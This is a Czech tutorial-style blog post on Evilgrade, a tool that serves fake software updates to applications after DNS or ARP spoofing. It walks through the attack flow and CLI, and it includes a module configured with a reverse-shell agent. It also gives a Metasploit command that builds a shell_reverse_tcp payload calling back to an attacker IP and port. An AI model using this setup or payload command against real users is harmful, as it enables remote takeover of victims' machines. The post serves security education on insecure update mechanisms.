Evilgrade je anglická skládačka slov evil (zlý/ďábelský) a upgrade (aktualizace). Je to také modulární aplikace pro poskytnutí falešného update klientům nebo provozovatelům aplikací, update který může obsahovat prakticky cokoliv. Problém lehkomyslně implementovaných aktualizačních rutin je známý již dlouho, mám pocit, že je příliš často přehlížen. V době vydání Evillgradu (léto 2008) byly zranitelné velmi rozšířené aplikace.. jako třeba
Java plugin, Winzip, Winamp, OpenOffices, iTunes, Linkedin Toolbar, DAP [Download Accelerator], notepad++, speedbit, a dokonce i MacOS. Do aktualizace jde vložit cokoliv, od proxy pro přístup do interní sítě obětí přes keylogger až po rootkit. Nebo lze jen podstrčit starší verzi aplikace se změněným číslem verze ve které ještě nebyla opravena bezpečnostní díra.
Jak funguje aktualizační proces
Ať už je aktualizační proces automatizován, jen minimálně nebo úplně, většinou funguje tak, že program pravidelně kontroluje jakýsi informační soubor (např. http://update.example.com/update.xml) kde je aktuální verze a adresa instalačního programu, který se má spustit a aktualizovat potřebné soubory.
Problém je v tom, že pokud tento proces neprobíhá šifrovaně (např. https) nebo není nijak jinak zabezpečen (aktualizační program nebo jeho soubory podepsány certifikátem), aplikace nemá žádnou jistotu, že se jedna o aktualizaci vydanou příslušnou organizací.
Jediné co aplikace ví, je že pokud číslo verze v info.xml na dané domén? je větší než číslo současné verze, má provést aktualizaci.
(Pozor na fakt, že vynucení aktualizace s mnohem větším číslem verze, např. 200.0.0 způsobí to, že ikdyž následovní oběť bude komunikovat s pravým aktualizačním serverem, práva verze pravděpodobně nikdy nebude větší než aktuální (200.0.0) tudíž nebude docházet k novým aktualizacím.)
Tu přichází na řadu neošéfovaný DNS protokol kterému se už nedá moc věřit (v IPv6 jsou jeho zranitelnosti odstraněny). Ať už použijeme DNS chache poisoning, rogue DNS server, ARP Poison Routing v rámci podsítě nebo jiné srandičky, je jisté, že aplikace chtěla http://update.example.com/info.xml, ale už není jisté, zda xml soubor dostala od správného serveru či od falešného.
Evilgrade poskytuje framework pro vytváření falešných aktualizačních serverů pomoci přídavných modulu. Jeho součástí jsou již výše zmíněné moduly, které být aktuální nemusí (MacOS a Winamp byly určitě opraveny). Každý modul má takovou strukturu aby simuloval server s novou aktualizaci.
Aplikace je open-source a v Perlu (s moduly: Data::Dump, Digest::MD5, Time::HiRes) takže dostupná jak pro Linux, Windows a ostatní operační systémy. Shrnutí, proces probíhá následovně:
1 – aplikace nebo uživatel inicializuje aktualizační proces..
2 – zeptá se DNS jaká je IP domény update.example.com na které je soubor update s informacemi o aktuální verzi
3 – v tuto chvíli musí oběť dostat místo správné IP adresy adresu útočníka na které běží Evilgrade
4 – aplikace stáhne a zkontroluje soubor ztažený z http://IP_útočníka/update.xml
5 – aplikace z falešného update.xml, zjistí, že je k dispozici nová verze, stáhne a spustí program který měl původně vyměnit soubory aplikace za novější, ale v případě útoku to však můžee být upravený aktualizační program nebo rootkit (agent)
Ovládání probíhá přes CLI velmi podobnému jaké má Cisco IOS. Pro lidi kteří se s IOS ještě nesetkali to může být ze začátku problém, po chvilce ale zvyknete.
evilgrade>help vypíše seznam příkazů:
configure – Configure – no help available
exit – exits the program
help – prints this screen, or help on ‘command’
reload – Reload to update all the modules – no help available
restart – Restart webserver – no help available
set – Configure variables – no help available
show – Display information of <object>.
start – Start webserver – no help available
status – Get webserver status – no help available
stop – Stop webserver – no help available
version – Display framework version. – no help available
evilgrade>help [příkaz] pak samozřejmě napíše podrobnější nápovědu (výjma jasných příkazů s popiskem ‘no help available’ :-)
evilgrade>show modules vypíše moduly
pro konfiguraci modulu musíte přejít do kofiguračního módu CLI (jako v Cisco IOS)
evilgrade>conf sunjava
evilgrade(sunjava)>
pomocí
evilgrade(sunjava)>show options
zobrazíte následující info
Name = Sun Microsystems Java
Version = 1.0
Author = ["Francisco Amato < famato +[AT]+ infobyte.com.ar>“]
Description = „“
VirtualHost = „java.sun.com“
.––––––––––––––––––––––––––––––––––––––––-.
| Name | Default | Description |
+–––––+––––––––––––––––-+–––––––––––––––––––+
| website | http://java.com/moreinfolink | Zobrazeny odkaz pro více informací o aktualizaci |
| enable | 1 | Status |
| atitle | Critical vulnerability | nadpis který se zobrazí v informa?ním tooltipu |
| arg | | Argumenty p?edány agentovi |
| adescription | This critical update fix internal vulnerability | Roz?í?ený popisek v aktualiza?ní bublin? |
| description | This critical update fix internal vulnerability | Popisek zobrazeny b?hem aktualizace |
| agent | ./agent/reverseshellsign.exe | Agent – p?vodn? aktualiza?ní program |
| title | Critical update | Titulek zobrazeny p?i aktualizaci |
‘–––––+––––––––––––––––-+–––––––––––––––––––’
Popisky: evilgrade>start – spustí Evilgrade server, evilgrade>show status – ukáže status serverů, případně klienty kteří byli obslouženi a v případě, že chceme použít agenta z Metasploitu, zde je příklad příkazu
evilgrade(sunjava)>set agent ‘["/metasploit/msfpayload windows/shell_reverse_tcp LHOST=192.168.233.2 LPORT=4141 X > <%OUT%>/tmp/a.exe<%OUT%>"]‘
evilgrade(sunjava)>
set agent nastavuje proměnnou modulu sunjava, závorky [] indikují vnořeny příkaz a uvozovky „“ označují část která je zpracovávána Perlem. Tagy <%OUT%>/path/.<%OUT%> označují místo kam bude vygenerovany binární soubor uložen. Demo flash screen capture, Evilgrade home, Díky: Francisco Amato. Zdroj a help.
Pro AMP psal l4
Kam dál?
- + Testujeme FPGA – tabulky pro crack WPA-PSK na přání (hlasuj!)
+ Upgrade BackTrack kernel 2.6.28 na jeden klik
+ AirDrop-ng video prezentace – security konference Shmoocon 2010
+ Úprava Metasploit exploitu (modul) – pre slovenský a český Windows
+ Minirecenze Ascom Voo:doo com-on-air PCMCIA DECT karty
+ Kód afrag, MDK a Ska – Fragmentační útok
+ Hacking WiFi sítí 2011, Python, BackTrack, HASHe, Alfa atp
+ aircrack-ng s podporou pyrit passthrough – wifi hacking
+ AIRcable Host XR nejvýkonnější CSR BlueCore 04 čip na AMP
+ Airgraph-ng – vykreslení sítí z airodump-ng do PNG obrázku
+ Airpwn HotSpot – Únos spojení
+ Kismet CSV log jako HTML stránka
+ Úprava Ascom Voo:Doo DECT PCMCIA karty pro sniffing
+ BackTrack 3 USB Flash disk instalace
+ Nokia N900 packet injection wl1251 Maemo Fremantle [NeoPwn]




